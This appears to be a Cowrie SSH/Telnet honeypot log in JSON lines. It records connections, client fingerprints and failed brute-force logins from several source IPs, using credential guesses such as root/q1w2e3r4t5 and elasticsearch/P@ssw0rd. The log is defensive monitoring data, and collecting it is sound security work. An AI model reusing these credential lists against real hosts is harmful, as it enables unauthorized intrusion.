{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5","message":"login attempt [root/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:36.169485Z","src_ip":"94.26.106.229","session":"697e579f21b6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:36.208833Z","src_ip":"45.156.87.204","session":"88704be383c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:36.212650Z","src_ip":"45.156.87.204","session":"88704be383c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:36.684687Z","src_ip":"45.156.87.204","session":"88704be383c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53696,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e97a4955ca3","protocol":"telnet","message":"New connection: 152.42.224.71:53696 (10.17.0.5:23) [session: 7e97a4955ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:36.796671Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:37.260134Z","src_ip":"94.26.106.229","session":"697e579f21b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:37.770199Z","src_ip":"45.156.87.204","session":"88704be383c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":61092,"dst_ip":"159.203.135.109","dst_port":22,"session":"30359279675c","protocol":"ssh","message":"New connection: 94.26.106.229:61092 (159.203.135.109:22) [session: 30359279675c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:37.778050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:37.784572Z","src_ip":"94.26.106.229","session":"30359279675c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:37.867767Z","src_ip":"94.26.106.229","session":"30359279675c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benfica10","message":"login attempt [root/benfica10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:38.122922Z","src_ip":"94.26.106.229","session":"30359279675c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":35110,"dst_ip":"159.203.135.109","dst_port":22,"session":"856879691607","protocol":"ssh","message":"New connection: 94.26.106.229:35110 (159.203.135.109:22) [session: 856879691607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:38.250985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:38.256262Z","src_ip":"94.26.106.229","session":"856879691607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:38.260507Z","src_ip":"47.237.167.49","session":"1a9254705e1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:38.340035Z","src_ip":"94.26.106.229","session":"856879691607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:38.592010Z","src_ip":"94.26.106.229","session":"856879691607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:39.211883Z","src_ip":"94.26.106.229","session":"30359279675c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:39.677722Z","src_ip":"94.26.106.229","session":"856879691607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46348,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc2bd8b62e59","protocol":"ssh","message":"New connection: 45.156.87.204:46348 (159.203.135.109:22) [session: cc2bd8b62e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:40.003904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:40.009264Z","src_ip":"45.156.87.204","session":"cc2bd8b62e59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:40.095527Z","src_ip":"45.156.87.204","session":"cc2bd8b62e59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"62.7","message":"Connection lost after 62.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:40.385138Z","src_ip":"47.237.167.49","session":"1a9254705e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:40.470681Z","src_ip":"45.156.87.204","session":"cc2bd8b62e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":35112,"dst_ip":"159.203.135.109","dst_port":22,"session":"81c49af1ad41","protocol":"ssh","message":"New connection: 94.26.106.229:35112 (159.203.135.109:22) [session: 81c49af1ad41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:40.505940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:40.510566Z","src_ip":"94.26.106.229","session":"81c49af1ad41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:40.611474Z","src_ip":"94.26.106.229","session":"81c49af1ad41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:41.163059Z","src_ip":"94.26.106.229","session":"81c49af1ad41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:41.687419Z","src_ip":"45.156.87.204","session":"cc2bd8b62e59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:42.252829Z","src_ip":"94.26.106.229","session":"81c49af1ad41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38044,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e139e571ae7","protocol":"ssh","message":"New connection: 45.156.87.204:38044 (159.203.135.109:22) [session: 8e139e571ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:43.539959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:43.544635Z","src_ip":"45.156.87.204","session":"8e139e571ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.068198442459106,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:43.595435Z","src_ip":"152.42.224.71","session":"7ff978426e09","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:43.629589Z","src_ip":"45.156.87.204","session":"8e139e571ae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:44.014832Z","src_ip":"45.156.87.204","session":"8e139e571ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:45.101446Z","src_ip":"45.156.87.204","session":"8e139e571ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38058,"dst_ip":"159.203.135.109","dst_port":22,"session":"40004d09b301","protocol":"ssh","message":"New connection: 45.156.87.204:38058 (159.203.135.109:22) [session: 40004d09b301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:47.363313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:47.416617Z","src_ip":"45.156.87.204","session":"40004d09b301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:47.470543Z","src_ip":"45.156.87.204","session":"40004d09b301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:47.785600Z","src_ip":"45.156.87.204","session":"40004d09b301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":12736,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddf24289e339","protocol":"ssh","message":"New connection: 94.26.106.229:12736 (159.203.135.109:22) [session: ddf24289e339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:48.178189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:48.183265Z","src_ip":"94.26.106.229","session":"ddf24289e339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:48.268527Z","src_ip":"94.26.106.229","session":"ddf24289e339","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"P@ssw0rd","message":"login attempt [elasticsearch/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:48.527669Z","src_ip":"94.26.106.229","session":"ddf24289e339","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:48.872642Z","src_ip":"45.156.87.204","session":"40004d09b301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58652,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7464020157d","protocol":"telnet","message":"New connection: 152.42.224.71:58652 (10.17.0.5:23) [session: a7464020157d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:49.599535Z"}
